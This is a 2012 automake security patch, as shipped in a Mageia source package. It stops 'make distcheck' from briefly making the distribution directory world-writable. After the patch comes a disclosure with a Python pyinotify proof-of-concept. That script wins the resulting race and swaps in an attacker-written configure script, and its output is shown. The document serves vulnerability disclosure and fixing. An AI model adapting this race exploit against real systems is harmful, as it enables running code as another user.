Sophie

Sophie

distrib > Mageia > 1 > i586 > by-pkgid > de39da32a19590b67b86835a882d442e > files > 5

automake1.7-1.7.9-13.1.mga1.src.rpm

From 6083c86d4b195bf3e9bbaa64acfeb57c3302d4a2 Mon Sep 17 00:00:00 2001
Message-Id: <6083c86d4b195bf3e9bbaa64acfeb57c3302d4a2.1341738099.git.stefano.lattarini@gmail.com>
From: Stefano Lattarini <stefano.lattarini@gmail.com>
Date: Fri, 6 Jul 2012 22:43:04 +0200
Subject: [PATCH] distcheck: never make part of $(distdir) world-writable

This fixes a serious security vulnerability.

In the 'distcheck' rule, we used to make the just-extracted (from the
distribution tarball) $(distdir) directory and all its files and
subdirectories read-only; then, in order to create the '_inst' and
'_build' subdirectories in there (used by the rest of the recipe) we
made the top-level $(distdir) *world-writable* for an instant (the
time to create those two directories) before making it read-only
again.

Even if the world-writability was granted only temporarily and for a
vanishingly small time window, it still introduced a potential race
condition in which an attacker could execute *any* code on the behalf
of the user running "make distcheck" -- game over.  Jim Meyering
wrote a proof-of-concept script showing that such exploit was easily
implemented.

This issue is similar to the CVE-2009-4029 vulnerability:
<http://lists.gnu.org/archive/html/automake/2009-12/msg00012.html>

* lib/am/distdir.am (distdir): Don't make $(distdir) world-writable, not
even for an instant; make it user-writable instead, which is enough.

Helped-By: Jim Meyering <jim@meyering.net>
Signed-off-by: Stefano Lattarini <stefano.lattarini@gmail.com>
---
 lib/am/distdir.am |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lib/am/distdir.am b/lib/am/distdir.am
index e27b650..f636a1e 100644
--- a/lib/am/distdir.am
+++ b/lib/am/distdir.am
@@ -449,7 +449,7 @@ distcheck: dist
 ## Make the new source tree read-only.  Distributions ought to work in
 ## this case.  However, make the top-level directory writable so we
 ## can make our new subdirs.
-	chmod -R a-w $(distdir); chmod a+w $(distdir)
+	chmod -R a-w $(distdir); chmod u+w $(distdir)
 	mkdir $(distdir)/_build
 	mkdir $(distdir)/_inst
 ## Undo the write access.
--
1.7.9.5


As mentioned above, I wrote a script to demonstrate
how to exploit this flaw:

Here's the output from running the exploit:
It shows that the attacker, "nobody", has just created
the configure file in my temporary $(distdir) directory:

  $ sudo -u nobody /tmp/distcheck-exploit
  -rwxr-xr-x. 1 nobody nobody 0 Jul  8 10:08 /tmp/cppi/cppi-1.16.28-8137/configure

That happened while I was running "make distcheck", which failed
like this (due to the contents of that configure file):

    $ make distcheck
    ...
    rm -rf /tmp/cppi/tests/torture/cppi/test
    rmdir /tmp/cppi/tests/torture/cppi /tmp/cppi/tests/torture
    ========================
    ready for distribution:
      cppi-1.16.28-8137.tar.xz
    ========================
    make[2]: Leaving directory `/tmp/cppi'
    make[1]: Leaving directory `/tmp/cppi'
    you lose
    make[1]: Entering directory `/tmp/cppi/cppi-1.16.28-8137/_build'
    make[1]: *** No targets specified and no makefile found.  Stop.
    make[1]: Leaving directory `/tmp/cppi/cppi-1.16.28-8137/_build'
    make: *** [distcheck] Error 1

Here's the exploit script.  It hard-codes the path to the directory
that "make distcheck" will create, but could be generalized to detect
that automatically, given o+r access:

=============================================
#!/usr/bin/env python
from pyinotify import *

# set-up: clone cppi into /tmp; ensure /tmp/cppi allows o+x access
# start this script, running as "nobody":
#   sudo -u nobody /tmp/distcheck-exploit
# Run "make distcheck" as yourself, with umask 022:
#   (umask 022; cd /tmp/cppi && make distcheck)

dir = '/tmp/cppi/cppi-1.16.28-8137'

class ProcessTransientFile(ProcessEvent):

    def process_IN_ATTRIB(self, event):
        cf = dir + '/configure'
        try:
            os.unlink(cf)
        except:
            return

        with open(cf, 'w') as f:
            f.write("#!/bin/sh\necho you lose\n")
            f.close
            os.chmod(cf, 0755)
            os.system("ls -l " + cf)

    def process_default(self, event):
        pass

wm = WatchManager()
notifier = Notifier(wm)
wm.watch_transient_file(dir, IN_ATTRIB, ProcessTransientFile)
notifier.loop()
=============================================